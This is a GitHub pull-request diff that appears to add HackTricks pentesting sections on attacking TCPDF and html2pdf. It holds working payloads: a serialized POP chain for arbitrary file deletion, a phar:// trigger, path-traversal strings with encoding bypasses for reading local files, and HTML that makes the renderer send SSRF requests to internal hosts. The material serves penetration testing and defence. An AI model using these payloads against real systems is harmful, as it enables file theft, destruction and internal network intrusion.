Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -67,6 +67,40 @@ a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz

I needed to **call this deserialization twice**. In my testing, the first time the `/tmp/a.php` file was created but not loaded, and the second time it was correctly loaded.

## TCPDF `__destruct` POP chain for arbitrary file deletion

When a real `TCPDF` instance is garbage-collected it calls `_destroy(true)`, iterates over `$this->imagekeys`, and `unlink()`s anything that looks like a cache file under `K_PATH_CACHE`. If an application performs `unserialize($user_data)` while the `TCPDF` class is loaded (e.g. it expects an array with an `html` key), you can supply a serialized object that sets:

- `file_id` to any integer that is not present in `self::$cleaned_ids` (e.g. `-1`).
- `imagekeys` to paths that begin with `K_PATH_CACHE` or that can be made to look like it (e.g. `/tmp/../tmp/do_not_delete_this_file.txt` when `K_PATH_CACHE` is `/tmp/`).

Example payload hitting an unsafe `unserialize($_GET['p']); $pdf->writeHTML($payload['html']);` flow:

```text
a:1:{s:4:"html";O:5:"TCPDF":2:{s:7:"file_id";i:-1;s:9:"imagekeys";a:1:{i:0;s:39:"/tmp/../tmp/do_not_delete_this_file.txt";}}}
```

The file is deleted as soon as the object falls out of scope. TCPDF 6.9.3 tightened the check to only remove paths with the `__tcpdf_<file_id>_` prefix inside `K_PATH_CACHE` and introduced `_unlink()` to block non-`file://` schemes, so older `Producer` versions are prime targets.

### Triggering the gadget via `phar://` in html2pdf `<cert>` tags

`spipu/html2pdf` (≤5.3.0) wraps TCPDF and exposes a custom `<cert>` block whose `src`/`privkey` attributes are validated with plain `file_exists()`. On PHP < 8.0 any filesystem function that touches a `phar://` URL causes the Phar metadata to be unserialized. By storing the malicious TCPDF object above inside a Phar archive you gain a reliable POP even if the application never calls `unserialize()` itself.

1. Craft a Phar with `phar.readonly=0`, set the stub/manifest to look like an image (e.g. rename `archive.phar` to `archive.png`), and store the serialized TCPDF object in the Phar metadata.
2. Upload/place the file somewhere reachable such as `/tmp/user_files/user_1/archive.png`.
3. Submit HTML containing the CERT tag so html2pdf resolves the attacker-controlled path:

```html
<cert src="phar:///tmp/user_files/user_1/archive.png"
privkey="phar:///tmp/user_files/user_1/archive.png" />
```

The call to `file_exists()` deserializes the metadata, instantiates TCPDF, and its destructor deletes the chosen file, turning html2pdf into a powerful `phar://` entry point. Version 5.3.1 added `Security::checkValidPath()` to block unapproved schemes, so legacy deployments remain attractive.

## References

- [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/)

{{#include ../../banners/hacktricks-training.md}}


Expand Down
19 changes: 19 additions & 0 deletions src/pentesting-web/file-inclusion/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -88,6 +88,24 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```

### HTML-to-PDF SVG/IMG path traversal

Modern HTML-to-PDF engines (e.g. **TCPDF** or wrappers such as **html2pdf**) happily parse attacker-provided HTML, SVG, CSS, and font URLs, yet they run inside trusted backend networks with filesystem access. Once you can inject HTML into `$pdf->writeHTML()`/`Html2Pdf::writeHTML()`, you can often exfiltrate local files that the web server account can read.

- **Fingerprint the renderer**: every generated PDF contains a `Producer` field (e.g. `TCPDF 6.8.2`). Knowing the exact build tells you which path filters exist and whether URL decoding occurs before validation.
- **Inline SVG payloads**: `TCPDF::startSVGElementHandler()` reads the `xlink:href` attribute from `<image>` elements before running `urldecode()`. Embedding a malicious SVG inside a data URI makes many HTML sanitizers ignore the payload while TCPDF still parses it:

```
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
```

TCPDF prepends `$_SERVER['DOCUMENT_ROOT']` to paths beginning with `/` and only later resolves `..`, so use either leading `../../..` segments or `/../../..` to escape the root after the prepend.
- **Encoding to bypass naive filters**: Versions ≤6.8.2 only check for the literal substring `../` *before* decoding the URL. Sending `..%2f` (or `..%2F`) in the SVG or in a raw `<img src>` attribute bypasses the check, because the traversal dot-dot-slash sequence is recreated only after TCPDF calls `urldecode()`.
- **Double-encoding for multi-stage decoding**: If user input is decoded by the web framework *and* by TCPDF, double-encode the slash (`%252f`). One decode turns it into `%2f`, the second decode in TCPDF turns it into `/`, yielding `/..%252f..` → `/../../../…` without ever showing `../` to the early filter.
- **HTML `<img>` handler**: `TCPDF::openHTMLTagHandler()` contains the same order-of-operations bug, allowing direct HTML payloads such as `src="%2f..%252f..%252ftmp%252fsecret.png"` to read any locally reachable bitmap.

This technique leaks anything readable by the PDF worker (passport scans, API keys rendered as images, etc.). Hardeners fixed it in 6.9.1 by canonicalising paths (`isRelativePath()`), so during tests prioritise older `Producer` versions.

### From existent folder

Maybe the back-end is checking the folder path:
Expand Down Expand Up @@ -787,6 +805,7 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)

- [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/)
- [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/)

{{#file}}
EN-Local-File-Inclusion-1.pdf
Expand Down
20 changes: 20 additions & 0 deletions src/pentesting-web/ssrf-server-side-request-forgery/README.md
Original file line number Diff line number Diff line change
Expand Up @@ -361,6 +361,25 @@ def start():

Note that this is interesting to leak status codes that you couldn't leak before (like a 200). However, if somehow you could also select the status code of the response (imagine that you can decide that the AWS metadata responds with a 500 status code), **there might be some status codes that directly leak the content of the response.**

### HTML-to-PDF renderers as blind SSRF gadgets

Libraries such as **TCPDF** (and wrappers like **spipu/html2pdf**) will automatically fetch any URLs present in attacker-controlled HTML while rendering a PDF. Each `<img>` or `<link rel="stylesheet">` attribute is resolved server-side via cURL, `getimagesize()`, or `file_get_contents()`, so you can drive the PDF worker to probe internal hosts even though no HTTP response is reflected to you.

```
<html>
<body>
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
</body>
</html>
```

- TCPDF 6.10.0 issues several retrieval attempts for each `<img>` resource, so a single payload can generate multiple requests (helpful for timing-based port scans).
- html2pdf copies TCPDF’s behaviour for `<img>` and adds CSS fetching inside `Css::extractStyle()`, which simply calls `file_get_contents($href)` after a shallow scheme check. Abuse it to hit loopback services, RFC1918 ranges, or cloud metadata endpoints.
- Combine this SSRF primitive with the [HTML-to-PDF path traversal tricks](../file-inclusion/README.md#html-to-pdf-svgimg-path-traversal) to leak both internal HTTP responses and local files rendered into the PDF.

Hardeners should strip external URLs before rendering or isolate the renderer in a network sandbox; until then, treat PDF generators as blind SSRF proxies.

## Cloud SSRF Exploitation

If you find a SSRF vulnerability in a machine running inside a cloud environment you might be able to obtain interesting information about the cloud environment and even credentials:
Expand Down Expand Up @@ -421,5 +440,6 @@ https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
- [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
- [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/)

{{#include ../../banners/hacktricks-training.md}}